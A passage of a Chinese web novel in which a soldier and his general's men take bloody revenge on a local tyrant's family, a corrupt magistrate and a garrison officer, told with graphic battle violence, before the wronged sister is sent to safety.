话音未落,一道寒光如闪电般划过。 “唰……” 刀锋出鞘的瞬间,笑声戛然而止。 紧接着,一股温热的鲜血喷溅而出,在阳光下划出一道刺目的红色弧线。 那家丁茫然地捂住脖子,鲜血从指缝间汩汩涌出,染红了他粗糙的手指。 他张了张嘴,喉咙里发出嗬嗬的怪响,眼睛瞪得溜圆,充满了难以置信的惊恐,随后身体软软倒地,在地上抽搐了两下便再无声息。 另一家丁吓得呆立当场,一股寒意从脚底板直冲头顶,让他浑身汗毛倒竖。 他惊恐地看着手持滴血战刀、杀气腾腾的大牛,双腿如同灌了铅般无法移动,裤裆处不知不觉湿了一片。 他怎么也想不到,当年那个被他们打得跪地求饶的傻大牛,如今竟敢堂而皇之地在张府门前杀人,而且出手如此狠辣果决。 “让张逵滚出来!”大牛的声音低沉如闷雷,每个字都带着冰冷的杀意,在寂静的街道上回荡。 如今的许大牛,早已不是那个任人拿捏的乡下汉子。 战场的洗礼让他脱胎换骨,眉宇间透着铁血军人才有的坚毅与霸气,一举一动都带着历经生死后的沉稳与决绝。 “你、你等着……”那家丁连滚带爬地冲进府门,声音抖得不成样子。 不多时,一阵杂乱的脚步声从门内传来,十数名家丁手持刀枪棍棒涌出大门,一个个面目凶悍,太阳穴高高鼓起,显然都是练家子。 紧接着,一个衣着华贵、神态轻浮的年轻男子在几名魁梧壮汉的簇拥下踱步而出。 他先是斜眼瞥了瞥大牛,嘴角扯出一抹讥笑:“想不到被发配死字营了,你还能逃出来!”语气轻佻,仿佛在谈论什么有趣的事。 但当他的目光扫过凌川等人时,轻蔑之色稍稍收敛。 这几人衣着虽不华丽,却气度不凡,尤其是那个骑着黑马的年轻人,端坐马背,眼神锐利如鹰,自带一股不怒自威的气势,让人不敢小觑。 更让他心惊的是这几人的坐骑,皆是骨骼清奇、肌肉贲张的骏马,绝非寻常人家所能拥有。 这年轻人正是祸害了英子、又将大牛陷害入狱的张逵。 他的目光贪婪地在几匹骏马身上流转,特别是凌川胯下的黑风,那神骏的体态、油光水滑的毛色让他移不开眼,恨不得立刻据为己有。 他实在想不明白,许大牛这个泥腿子,怎么会结识这样的人物。 直到看见地上气绝的家丁,张逵才收起杂念,指着大牛冷喝道:“两年不见,长本事了?敢杀我张家的人!” 张逵声音陡然拔高,要是换做平时,听到他这一声怒喝,对方就已经体若筛糠、下跪求饶了,殊不知,如今的大牛已不再是那个任人欺凌的懦弱汉子。 “张逵,咱们之间的账该清算了!”大牛的声音冰冷如铁,每个字都像是从牙缝里挤出来的。 张逵不屑地嗤笑:“就凭你这条贱命,也配跟我算账?”他眼中闪过一丝狠毒。 “我能送你进一次死字营,就能送第二次!这次定让你有去无回!”说着,他下意识地后退半步,躲到护卫身后。 “就算再进死字营,老子今天也要先宰了你!” 大牛暴喝一声,声如惊雷。 只见他翻身下马,动作干净利落,提刀直扑张逵,眼中的杀意如寒冰利刃,让人不寒而栗。 张逵没料到这傻大个在死字营混了一圈,竟变得如此悍勇,慌忙下令:“给我打死他!”声音尖厉,带着掩饰不住的惊慌。 十多名家丁一拥而上,不等凌川吩咐,苍蝇和孟钊已然出手,如猛虎下山般扑向人群。 “不必留手,杀!”苍蝇冷声道,声音平静得可怕。 三人背靠背而立,形成一个完美的防御阵型。面对围攻不仅毫无惧色,反而主动出击,每一步都踏得沉稳有力。 第一卷 第339章 畜生,你也有今天? “当!” 一声脆响,一名家丁手中的长刀应声而断。 苍生刀去势不减,如切豆腐般划开对方的咽喉,大牛看都不看倒在地上的尸体,抬脚踹倒另一个持棍冲来的家丁,反手一刀劈向侧面。 整个动作行云流水,没有一丝多余。 “噗!” 这一刀从左肩砍入,自右肋穿出,竟将那人硬生生斜切成两半。 霎时间鲜血喷涌,内脏洒了一地,浓重的血腥味顿时弥漫开来。 另一边,苍蝇和孟钊也接连斩杀数名家丁。 他们出手不如大牛那般血腥暴烈,却同样招招致命,这些平日里只会欺压百姓的家丁,在历经沙场淬炼的边军面前,连还手之力都没有,如同待宰的羔羊。 不过眨眼工夫,七八名家丁已倒地不起,有的奄奄一息,有的已然气绝。 而大牛三人毫发无伤,身上的血迹都是敌人的,在阳光下显得格外刺目。 这些家丁哪里知道,边军精锐与市井莽夫的区别不在于力量的优势,而在于生死搏杀中磨砺出的杀人技。 特别是历经战火洗礼的边军,无论在技巧、气势还是意志上,都能对普通人形成碾压之势,他们的每一个动作都是在实战中磨砺出来的,简洁而高效,没有任何花哨。 剩下的家丁满脸惊恐,不住后退,手中的兵器都在微微发抖。 大牛三人提刀步步紧逼,每一步都踏在血泊中,溅起朵朵血花,张逵吓得面色铁青,浑身发抖,再也无法保持先前的嚣张气焰。 “上啊!杀了他们!”张逵嘶声大喊,声音却抖得厉害。 但家丁们早已胆寒,面对这三尊杀神,连站稳都困难,哪还敢上前送死。 三人直接冲上前去,家丁们一哄而散,只剩下张逵孤零零地站在原地,双腿抖如筛糠。 大牛一把抓住张逵的衣领,将他整个人提了起来,就像拎着一只小鸡。 “你……你想干什么?”张逵面无人色,声音发颤,再也看不到先前的嚣张气焰。 “畜生,你也有今天!”大牛怒喝一声,将张逵狠狠摔出两丈远,这一摔用足了力气,带着积压多年的仇恨。 “砰!”的一声闷响,张逵重重落地。 他只觉得浑身骨头都要散架,疼得龇牙咧嘴,还未缓过气,一道阴影笼罩下来,只见大牛魁梧的身躯如神明般立在面前,居高临下地俯视着他,眼神冷得如同寒冬冰雪。 凌川自始至终端坐马背,冷眼旁观这一切,即便看到有人从张家后门溜走,他也未加阻拦,仿佛一切尽在掌握之中。 “大牛,你别乱来!”张逵吓得魂飞魄散,挣扎着想爬起,却被苍蝇一脚踹在胸口,顿时喘不过气来。 “嗤!” 紧接着,一刀刺穿他的大腿,将他牢牢钉在地上,刀尖深入青石板缝隙,发出令人牙酸的摩擦声。 “啊……” 张逵发出杀猪般的惨嚎,他平日虽横行霸道,何曾受过这等痛苦?眼泪鼻涕顿时糊了一脸。 “王八蛋,没想到会落在我手里吧?”大牛双目赤红,厉声喝问,声音因激动而微微发颤。 又是‘嗤’的一声,他一刀刺穿张逵的手臂,刀尖从另一侧穿出,带出一溜血珠。 “啊……”张逵痛得面容扭曲,冷汗如雨般从额头滚落。 “这一刀,是为永安县受你欺压的百姓!”大牛的声音如闷雷滚过,在所有人心中回荡。 他缓缓拔出战刀,伤口顿时血如泉涌,染红了张逵华贵的衣袍。 “嗤……” 又一刀刺穿另一条手臂,刀刃与骨骼摩擦发出令人牙酸的声响。 此时的张逵已无力哀嚎,加之大腿被钉在地上,连挣扎都不敢太大动作,只有身体不受控制地颤抖,像一条离水的鱼。 “这一刀,是为我自己!为遭你陷害入狱,为我死字营里经历的九死一生!”大牛双目通红,挤压许久的仇恨在这一刻彻底宣泄,声音哽咽却坚定。 他再次拔刀,鲜血顺着刀身滴落,在青石板上绽开朵朵血花,锋利的刀尖对准了张逵的胸口,在阳光下闪着寒光。 大牛眼中的杀气凝聚到极致,咬牙道:“这一刀,是为我妹妹!” 每一个字都像是从胸腔深处挤出,带着无尽的怒火与仇恨。 “住手!” 一个身着绸缎的中年男子疾步从府内走出,身后跟着两名手持刀剑的男子。 这两人气息凌厉,眼神锐利,与先前那些乌合之众截然不同,显然是真正的高手。 “好大的胆子!竟敢在我张家门前行凶……”中年男子厉声喝骂,但当他看到张逵浑身是血的惨状时,险些昏厥过去,脸色瞬间变得惨白。 “爹,救我……”张逵虚弱地呼救,声音细若游丝。 中年男子面无人色,指着大牛等人嘶吼:“你们……该死!我要把你们千刀万剐!点天灯!”声音因愤怒而扭曲,完全失了方寸。 大牛认得此人,正是张家家主、张逵的父亲张云禄。 比起儿子的横行霸道,为祸乡里,这个看似儒雅的中年人才是真正的罪魁祸首。 这些年来,张家与永安县县令和校尉勾结,不知霸占了多少田产,害得多少人家破人亡,每一文钱都沾着百姓的血泪。 就在这时,苍蝇走上前伸手搭在大牛握刀的手臂之上,随即猛然用力,那把悬在半空的战刀迅速刺下。 “嗤……” 战刀轻松刺穿张逵的心口。 张逵的身体剧烈抽搐几下,眼睛瞪得溜圆,充满了恐惧与不甘,随后便再无声息,彻底没了气息。 张云禄目眦欲裂,嘶声大喊:“逵儿……” 张云禄声音凄厉如丧考妣,他看着倒在血泊中的儿子,想要扑上去,却被两名随从死死拉住。 “杀了他们!给我杀了他们!”张云禄状若疯魔,眼中满是刻骨仇恨,恨不得将眼前几人生吞活剥。 “老爷后退,交给我们!”一名护卫沉声道,声音平静无波,显然见惯了生死场面。 两名护卫拔出刀剑,缓步上前,他们的步伐沉稳有力,显示出深厚的武功底子。 苍蝇与孟钊对视一眼,忽然笑道:“老孟,咱俩一人一个,比比谁先结束?” “队长何时这么膨胀了?”孟钊打趣道,嘴角勾起一抹自信的笑容。 第一卷 第340章 杀人刀法! 虽然如今三人都已是校尉,但亲兵队的老人还是习惯称苍蝇为队长,这是一种默契,更是一种认可。 起初苍蝇的个人实力确实不如孟钊和沈珏这两位副队长,但他的眼力、处事和应变能力却是两人不及的。 更重要的是,苍蝇训练异常刻苦,在凌川印象中,只有余生能与他媲美,正是这股拼劲,让他赢得了所有人的尊重,实力也突飞猛进。 见两人谈笑风生,全然不把自己放在眼里,两名护卫勃然大怒,猛地扑了上来,剑光如匹练般洒向苍蝇,刀风呼啸着劈向孟钊。 “来得好!”苍蝇冷喝一声,手中战刀一撩,精准地荡开刺来的长剑,发出清脆的金铁交鸣之声。 那护卫一怔,显然没料到对方手法如此老辣。 他顺势挽起一朵剑花,剑尖颤抖如毒蛇吐信,再次攻来,招式华丽却稍显繁琐。 “花架子!”苍蝇嗤笑一声,刀势陡然变得简洁凌厉。 “让你见识见识什么叫杀人刀法!”苍蝇一刀削来,直取要害,没有任何多余的花哨。 那名护卫心中一惊,尽管在第一时间竭力向侧面闪避,可肩膀还是未能完全躲开,被刀锋划开一道深可见骨的口子,鲜血立刻涌出。 然而还不等他喘过气来,苍蝇的刀锋却如毒蛇般急转,抹向他咽喉,这一变招又快又狠,完全出乎护卫的意料。 那护卫顿时惊出一身冷汗,千钧一发之际举剑格挡。 “叮!” 刺耳的金铁交鸣声响起,火星四溅。 他虽然勉强挡下了这致命一刀,却被苍蝇趁机一脚狠狠踹中小腹,这一脚势大力沉,护卫闷哼一声,踉跄着连退数步,脸上露出痛苦的神色。 苍蝇岂会放过这样的良机,他咧嘴露出一抹坏笑,如影随形般扑了上去,刀刀直取要害,逼得护卫手忙脚乱。 而另一边,孟钊从一开始就稳稳占据上风。 他的刀法在亲兵中是出了名的凌厉狠辣,就连唐岿然都对他称赞有加。 与他对战的护卫刀法看似华丽,招式精妙,却缺乏真正的杀气,与孟钊在沙场上磨砺出的杀人刀相比,处处受制,完全发挥不出应有的实力。 “当!当!当!” 孟钊与之连拼三刀,每一刀都势大力沉,震得对方虎口发麻,不由自主地连退数步。 就在对方旧力已尽新力未生之际,孟钊手中战刀宛如蜻蜓点水,在电光火石间连刺三刀,快得令人眼花缭乱。 那护卫拼尽全力挡下其中两刀,但第三刀却精准地在他胸前留下一个血洞。 鲜血顿时汩汩涌出,将他胸前的衣襟染成暗红色。 苍蝇与孟钊已经将二人死死压制,张家府内虽然再次涌出大批手持刀剑的家丁,却无一人敢上前助阵。 只因这二人已是张家最顶尖的高手,平日寸步不离地护卫家主,连他们都落入下风,其他人上去也是送死。 就在此时,一直端坐马背上的凌川淡淡开口:“十个回合内若不能解决战斗,明日你二人徒步赶路!” 听到这话,二人再不敢怠慢,纷纷使出压箱底的本事。 孟钊眼神一厉,果断施展出自己的看家本领,只见他刀势陡然变得狂暴,接连数刀劈出,每一刀都倾尽全力、霸道绝伦! 那名护卫勉强挡下这一波疾风骤雨般的进攻,但手中战刀已经被砍得满是豁口,变成了锯齿状,双臂更是被震得酸麻无力,几乎握不住刀。 “就这点本事?”孟钊冷声问道。 只见他眼神锐利如鹰,周身携带着凌厉气势,再次扑了上去。 那护卫强忍胸前剧痛,咬牙举刀相迎。 随着孟钊双手举起战刀,一记力贯千钧当头斩下,那护卫仓促举刀格挡,只听一声脆响,他那早已不堪重负的战刀竟从中断裂! 断刃擦着护卫的脸颊飞过,留下又一道血口子,他握着半截断刀,踉跄后退,脸上终于露出绝望之色。 孟钊趁机踏步上前,刀随身转,带起一道凌厉的弧光,在其胸前留下一道长长的口子。 而另一边,苍蝇也收起脸上的玩味之色,攻势变得更加凌厉。 他死死压制住对手,一番对拼下来稳占上风,就在对方全神贯注地防范之时,苍蝇忽然咧嘴一笑,出其不意地啐出一口唾沫,直奔对方面门而去! 后者脸色剧变,慌忙闪躲,心里暗骂对方不讲武德。 可他哪里知道,在边军的意识里根本没有江湖规矩这一说,战场上只有一个目标,那就是干掉敌人,至于用什么方法,从来都不重要。 当然,即便在边军中,像苍蝇这样把下三烂招式使得如此理直气壮的也不多见,同样,若是在大规模厮杀中,这种手段也很难奏效。 那护卫正欲破口大骂,忽然感觉双腿之间传来一阵撕心裂肺的剧痛,浑身神经更是瞬间绷紧。 他整个人不自觉地踮起脚尖,面容扭曲成一团,额头上瞬间布满冷汗,他万万没想到,对方不仅吐口水,居然连江湖人最为不齿的撩阴腿都使得出来! “你……啊!”护卫痛得话都说不完整,双腿夹紧,浑身发抖。 苍蝇可不管这么多,趁他病要他命,一个箭步冲上前去,战刀精准地刺穿对方胸口。 “嗤……” 惨叫声戛然而止。 随着战刀拔出,鲜血顿时喷涌而出,那名护卫满脸不甘地瞪着苍蝇,嘴唇哆嗦着似乎想骂人,最终却只能缓缓倒地,眼中光彩渐渐消散。 而另一边,孟钊也一刀抹过对手的脖子。 伴随着一抹鲜血喷洒而出,他拼命捂住自己的咽喉,手指间鲜血汩汩涌出,却无法阻止生命的流逝,最终软软倒地,再无生机…… 苍蝇一副胜者的姿态看向孟钊,笑道:“哈哈,险胜!” 孟钊无奈一笑,虽然苍蝇用的手段不太光彩,可事实就是,自己确实慢了半拍。 就在张家众人脸色煞白之时,街道上传来一阵嘈杂的脚步声。 “全部围起来,一个都别让他们跑了!”伴随着一声大喝,只见数十名士兵快步跑过来,直接将凌川等人给团团围住。 第一卷 第341章 那面死字大旗,我扛的! 数十名身披铁甲、手持战刀的县兵迅速涌入场中,寒光闪闪的兵刃将凌川几人层层围住。铁甲碰撞之声不绝于耳,肃杀之气顿时弥漫开来。 队伍中央,一名四十出头的将领端坐于马背之上,身披校尉铠甲,眼神倨傲,睥睨着场中众人。 与此同时,街道另一端传来一阵骚动,一名身着七品官服的精瘦男子在一众衙役的簇拥下阔步而入。尽管他刻意迈着官步,却依旧难掩其獐头鼠目的猥琐形象。 见到这二人,张云禄惨白的脸上顿时泛起激动的红光,仿佛溺水之人抓住救命稻草般扑上前去。 “黄大人,葛校尉,你们来得正好!”张云禄声音嘶哑,指着苍蝇三人咬牙切齿道,“这群狂徒光天化日之下滥杀无辜,请大人速速下令擒拿!” 那身着官服的中年男子正是永安县县令黄疏朗,而披甲将领则是永安县校尉葛元忠。 黄疏朗轻拍张云禄的手臂,温声安抚道:“张兄莫急,本官既已到此,断不会让这些凶徒逍遥法外!” 张云禄双目赤红,被仇恨烧灼得几乎失去理智,指着手提战刀的大牛厉声道:“二位大人,那许大牛正是两年前因到我张家偷盗,被送入死字营的囚犯,不知如何越狱而出,竟带人来我张家杀人报复!” 黄疏朗眯起三角眼打量大牛,很快忆起两年前旧事。 校尉葛元忠手按刀柄,目光在场中扫视一圈,最终停留在凌川身上。直觉告诉他,这个气度不凡的年轻人才是这群人的主心骨。但他并未声张,而是指着大牛呵斥道: “好个许大牛!当初本校尉饶你一命,你非但不思悔改,竟敢越狱行凶!来人,给我拿下!” “狗官!来得正好!”大牛手提战刀,一步步逼近黄疏朗和葛元忠,声如洪钟,“今日俺就连你们一并宰了,为永安县百姓除害!” 几人神色一凛,万没想到两年前那个任人拿捏的傻大个,如今竟变得如此悍勇,眼底不禁掠过一丝惊惧。 “大胆狂徒!竟敢袭击朝廷命官!”黄疏朗厉声喝道,“给我拿下!” 两名衙役应声冲出,大牛抬手便是一刀,寒光闪过,当先一人应声倒地。另一人举刀劈来,被大牛轻松格开,震得连连后退。 不待他站稳,大牛的战刀已然架在他的颈项间。 “嗤!” 血光迸现,那名衙役软软倒地。 大牛却看都未看尸体一眼,布满血丝的双眼死死盯住黄疏朗、葛元忠和张云禄三人,一步步向前逼近。 魁梧的身躯在夕阳下拉出长长的阴影,竟比门口那对石狮更具压迫感。 苍蝇与孟钊二人心甘情愿地扮演随从角色,默然跟在大牛身后。正如将军所言,今日就是要让大牛尽情发泄,一吐胸中恶气。 ‘你们,都该死!”大牛战刀直指三人,每一个字都像是从牙缝中挤出。 正是这些人,让永安县百姓生活在水深火热之中,今日,他不仅要报私仇,更要为全县百姓除害。 葛元忠目光阴冷,大喝一声:“许大牛!你竟敢从死字营越狱!所有人听令,给我拿下!” 霎时间,一众县兵纷纷拔刀,缓缓向场中三人合围,然而或许是慑于大牛魁梧的身形和三人身上散发的冰冷杀意,这些平日只会欺压百姓的县兵竟显得有些畏缩。 “慢着!” 就在此时,一道清冷的声音传来,只见一直端坐马背、仿佛置身事外的凌川终于开口。 声音不大,却清晰地传入每个人耳中。 葛元忠、黄疏朗与张云禄不约而同地将目光投向这个气度不凡的年轻人。 凌川翻身下马,缓步走入场中,冷漠的目光从三人身上扫过,一股无形的威压自然而然地散发开来,挡在前面的县兵竟不自觉地让开一条通路。 “你是何人?”葛元忠沉声喝问。 凌川并未回答,只是用冰冷的目光直视着他,一直来到大牛几人身前方才站定,淡淡问道:“葛校尉为何一口咬定,他是从死字营中逃出来的?” “哼!”葛元忠冷哼一声,“本校尉亲自让人将他押送北疆大营,这还能有假?” 凌川唇角勾起一抹冷笑,缓缓点头:“你说得不错,他们三人确是死字营成员,但却并非如你所言越狱而出!” 葛元忠等人神色微变,显然没料到凌川竟会当众承认,想必他也是从死字营逃出的军奴。 “笑话!”獐头鼠目的黄疏朗冷笑道,“谁人不知死字营有进无出,十死无生!从未听说有人能活着离开死字营!” 然而凌川的笑容比他更冷,目光如利刃般在他身上刮过,让他浑身发毛。 “你孤陋寡闻倒也情有可原……”凌川缓缓移动目光,看向葛元忠,“但葛校尉身为军中将领,难道也没听说过半年前狼烽口一战?” “嘶!” 葛元忠倒吸一口凉气,震惊与骇然之色以肉眼可见的速度浮现在脸上。 半年前,狼烽口告急,矢尽粮绝之际,凌川率一千死字营军奴打着死字大旗自关外杀来,将三千胡羯精兵杀得片甲不留。 此后,这一千死字营军奴凭此战功得以解除奴籍,更在后续的两国大战中屡立奇功。不仅将其主将凌川捧上神坛,更让死字营的威名响彻北疆。 从那时起,人们提及死字营,首先想到的不再是那些戴罪之身的军奴,而是那支打着死字大旗的无敌军团。 难道…… 葛元忠脑海中闪过一个可怕的念头,看向几人的目光中充满了惊惧。 凌川侧过脸看向大牛,淡淡道:“告诉他们,你是谁!” 大牛踏步上前,铜铃般的双眼圆睁,声如洪钟:“那面死字大旗,是俺扛的!” “老子是死字营扛旗先锋!” 大牛的声音宛如一道惊雷在所有人脑海中炸响。无论是张云禄、黄疏朗还是葛元忠,皆是满面震惊,无边的恐惧如潮水般涌上心头。 死字营扛旗先锋…… 许大牛竟然是那支无敌军团的扛旗先锋? 霎时间,现场的空气仿佛凝固了,紧张得让所有人都能听见自己如擂鼓般的心跳声。 第一卷 第342章 这份交情,换你人头! 现场陷入死一般的寂静,连远处风吹过街角的细微声响都清晰可闻。 张云禄面如死灰,嘴唇不住颤抖,他怎么也不敢相信,当年那个懦弱无能的许大牛,竟真有翻身的一天。 黄疏朗满脸惊愕,他虽非军中之人,却也听说过死字营的威名,更明白‘扛旗先锋’这四个字意味着什么——那是用无数敌人的头颅堆砌出来的战功,是血与火中杀出的威名。 最为震惊的莫过于葛元忠。 他畏惧的并非大牛本身,虽然对方也是校尉军职,但在他的地盘上犯事,他自信还能处置。真正让他忌惮的,是大牛军职前的‘云州军’前缀,以及那个如雷贯耳的名字。 谁人不知,云州军如今的统帅正是那位如日中天的传奇将领凌川。 此人用兵如神,更以护短著称,前不久玄影骑的校尉在他手上吃了大亏的消息,早已在军中传开,葛元忠的手心渗出冷汗,心中暗自盘算着对策。 正当葛元忠举棋不定时,一旁的张云禄却按捺不住跳了出来。 他指着大牛,声音尖厉:“你说是就是?我看你就是从死字营逃出来的军奴!在葛校尉和黄大人面前,还敢大放厥词,简直不知死活!” 听到这话,大牛眼中杀意更盛,握着刀柄的手指节发白。 只见他大步走向张云禄,沉重的脚步踏在青石板上发出咚咚声响,在寂静的街道上格外刺耳。在对方惊骇的目光中,他一把扣住其脖颈,单手将他举离地面。 “黄大人,葛校尉,救……”张云禄艰难地呼救,双脚在空中乱蹬。 大牛宛如擒着一只鸡仔般将他举在半空。 张云禄顿感呼吸困难,用尽全力也无法挣脱那只铁钳般的手掌。 他的脸色由红转紫,双目圆瞪,张大嘴巴却吸不进一丝空气,他感觉眼前的世界逐渐暗淡,只听大牛的声音在耳边响起:“今日,就是天王老子来了,也救不了你!” 嗤的一声,战刀直接穿透他的胸膛,鲜血顺着刀身上的血槽汩汩涌出。 随着刀刃拔出,鲜血喷涌而出,张云禄剧烈抽搐几下,便再无声息。 大牛将死狗般的尸身掷于地上,发出沉闷的响声,随即转身,目光如刀般射向黄县令,一步步逼近。 黄疏朗只觉浑身僵硬,那魁梧身躯和凛冽杀意让他动弹不得,双腿如同灌了铅一般。 “来人!来人啊!”黄县令嘶声呼救,声音尖锐得变了调。 一众衙役慌忙冲上前护主,却是个个面如土色,双腿打颤,手中的兵器都拿不稳。 “不想死的滚一边去!”紧随大牛身后的苍蝇厉声喝道,手中的战刀闪着寒光。 就在衙役们犹豫不决时,身后传来黄疏朗的尖叫:“不许退!谁敢退我杀他全家!” “良言难劝该死的鬼!”孟钊沉声道,随即不再多言,挥刀上前。 刀光闪动间,顷刻便有几名衙役被砍翻在地,剩余几人彻底吓破了胆,连滚带爬地退到一旁,再不敢上前。 看着大牛手持战刀步步逼近,黄疏朗僵立原地,颤声道:‘葛校尉,救我……”他的官袍下摆已经湿了一片,散发出难闻的气味。 “狗官!你的死期到了!”大牛怒喝道,声音如同惊雷炸响。 嗤的一声,冰冷的刀锋横斩而过,黄疏朗当场身首分离,头颅滚落在地,脖颈处鲜血喷溅,在夕阳下划出一道刺目的红色弧线。 这一幕不仅让残余衙役肝胆俱裂,就连在场的数十名士兵和葛元忠都吓得面色发白。 黄疏朗虽只是个七品县令,终究是朝廷在册官员,对方说杀就杀,毫不迟疑,这让葛元忠内心涌起强烈的不安,他握刀的手微微颤抖,额角渗出细密的汗珠。 他抬头看向凌川,声音凝重:“凌将军,此事也该到此为止了!” 事到如今,若还猜不出凌川的身份,他这个校尉也算是白当了。 几日前他就接到消息,镇北将军凌川的队伍将途经永安县,今日死字营成员现身,凌川虽只说了寥寥数语,却明显是他们的首领。 加之传闻中他长相俊朗,气度不凡…… 所有这些信息汇聚一处,眼前这位年轻人的身份已然呼之欲出。 除了那位圣眷正隆、风头无两的镇北将军凌川,还能有谁? 凌川唇角勾起一抹冷笑,目光如冰:“方才听你说,是你亲自将大牛送往北疆死字营的?” 葛元忠神色骤变,没料到一时口快之言,竟被凌川敏锐捕捉,他的喉结滚动了一下,强作镇定。 他抱拳答道:“属下只是从黄县令手中接管犯人,并不知案情原委。” “是吗?”凌川只淡淡回了两个字,却带着千钧重量。 霎时间,葛元忠如坠冰窟,脊背发凉,这两个字意味着,凌川并不打算念在同袍之谊上网开一面,而是要追查到底。 “你的意思是,这些年来你对张家的累累恶行一概不知,对黄县令的以权谋私更是全然不晓?”凌川目光如刀,仿佛要剖开他的内心。 葛元忠面色阴沉,一时不知如何作答。 若说全然不知,连他自己都不信,事实上,他对张家和黄县令的斑斑恶行不仅心知肚明,甚至大多时候都参与其中。 三人早已结成利益共同体,他们充当张家的保护伞,纵容其肆无忌惮地压榨百姓,所获利益三人瓜分,这些年来,他从中分得的钱粮土地早已达到了一个骇人听闻的数字。 “将军休要听他狡辩!”大牛开口道,声音因激动而微微发颤,“这些年来他没少帮着张家作恶,曾有大批百姓被霸占田产,走投无路之下到县衙告状,就是他带兵镇压!那次好多百姓以造反的罪名被当场格杀,还有一些被关进大牢,之后就再也没出来!”大牛杀气腾腾地说道。 葛元忠眼中闪过一丝厉色,深吸一口气道:‘凌将军,末将奉宋将军之命镇守永安县,从不过问政务。” 他这番看似平常的回答,实则不着痕迹地搬出了阑州主将宋景,意思很明显,你凌川虽是五品将军,但只是云州副将,而我乃阑州校尉,你管不到我头上。 凌川岂会听不出他话中深意,冷笑一声:“我与宋景倒是有些交情……” 听到这话,葛元忠刚松一口气,凌川接下来的话却让他如坠冰窟。 “而这份交情,换你项上人头足矣!” 第一卷 第343章 你连让我拔刀的资格都没有! 此言一出,葛元忠浑身紧绷,眼神瞬间变得凌厉,他握紧刀柄,指节发白。 “凌将军,葛某不想与你为敌,但你若执意不给我留活路,那就休怪我以下犯上了!”葛元忠声音渐冷。 随着他话音落下,周围士兵纷纷握紧战刀,缓缓围拢,刀剑出鞘之声不绝于耳。 凌川目不斜视,淡笑道:“怎么?这是要杀人灭口?” “是你逼我的!就算你是皇帝钦封的镇北将军又如何?横竖都是死,杀了你大不了亡命天涯,找个无人之处隐姓埋名!’葛元忠咬牙切齿道,面目因绝望而扭曲。 凌川点了点头:“想法倒是不错,只可惜,今日你走不了。” “哼!别忘了这是在永安县!你不过区区四人,我就不信你能翻了天!”葛元忠咬牙道,手中的战刀微微颤抖。 就在这时,沉重的马蹄声从街道另一端传来,如同闷雷般敲击在每个人的心上。 葛元忠心头一紧,抬眼望去,只见一队兵甲鲜亮的骑兵正从街头疾驰而来,扬起漫天尘土。 从那铠甲的制式、战马的雄骏,到整支队伍散发出的凛冽气势,都说明这绝非永安县兵,只能是凌川的兵。 “动手!”葛元忠大喝一声,下令士兵进攻。他知道这是最后的机会。 一时间,众士兵蜂拥而上,他们虽比不上久经沙场的边军,却也不是先前那些衙役可比的。 苍蝇三人迅速转身,背靠凌川组成防线,挡住来袭的士兵,战刀相交,发出清脆的撞击声,他们虽然人少,但配合默契,每一刀都精准狠辣,暂时挡住了攻势。 凌川并未回头,而是死死盯住葛元忠,后者同样神色凝重地与他对视,手中的战刀微微抬起。 唰的一声,葛元忠拔出腰间战刀,猛踏一步跃身而起,双手持刀向凌川当头劈下。 这一刀势大力沉,带着破空之声,大有将凌川一分为二之势。 然而面对这凌厉一击,凌川只是微微抬眼,甚至连拔刀的打算都没有,他的神情平静得令人心悸。 就在刀锋即将及体的瞬间,凌川不退反进,轻巧地踏前一步,一拳轰向对方胸口。这一拳看似随意,却是将时机拿捏得恰到好处。 砰的一声闷响,葛元忠被这势大力沉的一拳轰飞出去,重重摔在地上,嘴角溢出一丝鲜血。 他挣扎着想要起身,却感觉胸口剧痛,仿佛胸骨都已断裂。 “你这种货色,连让我拔刀的资格都没有。”凌川的声音冰冷淡漠,如同宣判死刑。 此时,洛青云已率一百骑兵赶到,铁骑如潮水般涌来,马蹄声震耳欲聋。 见到这些铠甲鲜明、杀气腾腾的边军,永安县士兵顿时斗志全无,四散溃逃。 这无疑加速了他们的败亡。骑兵们如虎入羊群,刀光闪动间,不断有士兵倒下。 不过片刻,数十名士兵已有一半被斩杀,剩余放弃抵抗的则全部被擒,跪地求饶。 原本稳占上风的葛元忠,转眼间成了孤家寡人,他瘫坐在地,面如死灰。 苍蝇与孟钊迅速上前将他制住,反剪双手。 “凌将军,末将知罪!求您饶我一命!您要什么,我都给您!金银、田产,我都可以献上!”葛元忠连声求饶,再也顾不上什么颜面。 凌川眼神冰冷,只吐出一个字:“杀!” 大牛提刀上前,目光冰冷。 在葛元忠绝望的注视下,刀光一闪,结果了他的性命,喷洒在地上的斑斑血迹,仿佛在昭彰他的累累罪状。 “将军,这些人如何处置?”洛青云走上前来请示道。 凌川扫视一圈,说道:“首恶已诛,剩下的,让宋景自己处置吧!” 随着凌川带队离开,原本风光无限的张家门外已变成一片修罗场,尸体横陈,鲜血染红了青石板。 那些侥幸存活的士兵和衙役许久都未能回神,呆呆地望着这一切,仿佛做了一场噩梦。 回到军驿,凌川亲笔修书一封,将事情经过详细道来。 封好火漆,他令驿卒快马加鞭送往阑州交予宋景,信中阐明了事情经过,至于宋景如何处置剩余的人,那就是他的事了。 晚饭时分,翠花带着英子出现,梳洗换装后的英子恍若脱胎换骨,一袭淡青色的衣裙衬得她亭亭玉立。 唯独脸上那两道伤疤依旧触目惊心,如同美玉上的瑕疵,让人看着都为之心疼。她低着头,手指不安地绞着衣角。 大牛起身拉着妹妹来到凌川面前,扑通一声跪倒在地,声音哽咽: “将军,感谢您为我们兄妹做主!这份大恩,我们没齿难忘!往后我大牛这条命就是您的!”虎目通红,热泪滚落,这个沙场硬汉此刻真情流露。 凌川伸手扶他起身,斥责道:“我说过多少次了,军人的骨头要硬!别动不动就跪!”语气虽严厉,眼中却带着温和。 大牛用力点头,眼中激动难抑,紧紧握着妹妹的手。 苏璃也将英子扶起,温言道:“英子,往后咱们就是姐妹,不必行此大礼!”她轻轻为英子理了理鬓角的碎发,动作轻柔。 她转向凌川说道:“相公,英子除了大牛再无亲人,我想送她去云州织造坊做事。” 凌川点头应允:“全凭娘子安排!” 苏璃对英子柔声道:“英子,我们此行去神都,带着你多有不便。我让人送你去云州,那边自会有人安排一切。你就在云州等我们回来,可好?” 英子泪流满面,哽咽道:“全听将军和夫人安排!”声音虽轻,可那双眸子中却带着生活的希望。 随后,凌川令苍蝇挑选两名可靠亲兵,仔细嘱咐后,让他们明早护送英子返回云州。 此事本可交由驿站,但张家、黄疏朗和葛元忠在永安县势力盘根错节,凌川实在放心不下。 晚饭后,凌川吩咐众人早早歇息,明日继续赶路,驿站的灯火渐次熄灭,唯有巡夜士兵的脚步声偶尔打破寂静。 